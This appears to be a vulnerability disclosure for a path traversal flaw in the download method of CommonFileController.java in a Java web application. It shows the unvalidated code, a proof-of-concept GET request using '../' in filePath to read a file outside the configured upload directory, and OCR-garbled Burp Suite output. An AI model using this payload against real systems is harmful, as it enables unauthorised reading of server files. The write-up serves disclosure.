There is an arbitrary file reading vulnerability in the system ma nagement-basic management-file management module (chinese: 系统管理-基础管理-文件管理) of the application system. The cause of the vulnera bility is the download method in the CommonFileController.java file.I ts incoming parameters are not verified, resulting in directory trave rsal.

	*/
6	<mark>@GetHapping ©∽</mark> public void download(HttpServletResponse response,String filePath,String <mark>fileName</mark> ) {
	<pre>File file = new File( pathname: file_base_dir+File.separator + filePath); if (file.exists()) {</pre>
	<pre>try(InputStream inputStream = new BufferedInputStream(new FileInputStream(file))){</pre>
	<pre>String downloadFileName = URLEncoder.encode(StringUtils.<u>isEmpty(fileName</u>)?file.getName():fileName, enc: "UTF-8"); response.setContentType("application/octet-stream");</pre>
	response.setHeader( s: "Content-Disposition", s1: "attachment; <mark>filename</mark> =\"" +downloadFileName+ "\"");
	<pre>response.setContentLength((int) file.length());</pre>
	<pre>FileCopyUtils.copy(inputStream, response.getOutputStream());</pre>
	<pre>}catch (Exception e){</pre>
	log.error("文件读取失败:");
	}
	}else{
	// file not found
	<pre>// response.setStatus(HttpStatus.NOT_FOUND.value());</pre>
	log.error("文件不存在 filePath:{}, <mark>fileName</mark> :{}",filePath, <mark>fileName</mark> );
	response.setStatus(HttpStatus.NOT_FOUND.value());
	// response.setIntHeader("文件不存在:"+filePath,HttpStatus.NOT_FOUND.value());
	}
	}

Directly use .. / to read any file through the path. The following poc successfully reads the file in the upper directory:

```
GET /mee/common/file?fileName=1.txt&filePath=/../1.txt HTTP/1.1
Host: localhost
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/117.0
```

Accept:

```
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,imag
e/webp,*/*;q=0.8
```

Accept-Language:

```
zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Connection: close
Referer: http://localhost/mee/sys/sys_file
Cookie: MEE_SID=4f6b4a01-9af2-4429-9efd-8db1438ee8e9
Upgrade-Insecure-Requests: 1
```

arget Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project	options User options Ale	常规 安全	详细信息 以前的版本	
× 2 × 4 ×			1.txt	
Go Cancel < V > V quest w Params Headers Hex	Response Raw Headers He	文件类型: 打开方式:	文本文档 (.txt)	更改( <u>C</u> )
<pre>// Lawing /record /ref lefsme=l.txt&amp;filePath=//l.txt HTP/l.1 //mee/consmort/ilefileSimeel.txt&amp;filePath=//l.txt HTP/l.1 : localhost -Agent: Mosilla/5.0 (Windows NT 10.0; Win64; x84; rv:109.0) Gecke/20100101 Firefox/117.0 pt: text/html.application/xhml*mal.application/xml;q=0.9, image/wrif, image/webp,*/*;q=0.8 pt:Language in-C.M.h.q=0.8, ab.+TW,q=0.7, zh-HE.q=0.5, en-US.q=0.3, en;q=0.2 ection: close res: http://localhost/mee/sys/sys_file ie: MEE_SID=4f054a01=9af2-4429=9efd=8dh1438ee8e9 ade=Insecure=Requests: 1</pre>	HTF/1.120 Content-Disposition Content-Disposition Content-Length: 6 Date: Wed, 06 Sep 2 Connection: close 111111	位置: 大小: 占用空间: 创建时间: 修改时间: 访问时间: 属性:	大小 6 字节 (6 字节) 占用空⊪ 0 字节 创建时即 2023年9月6日, 15:13:20 传改时即 2023年9月6日, 15:13:25 访问时即 2023年9月6日, 15:13:25	
			<b>桃</b> 定 取消	ă 应用( <u>A</u> )

Under normal circumstances, the application system has set file\_base\_dir and should only be able to read files under file\_base\_dir.

In this example, file\_base\_dir is E:/files, and when exploiting the vulnerability, the file in the root directory of drive E is successfully read.

15				
1	# file dir config			
:7	<pre>mee.file.upload-dir=E:/files</pre>			
L				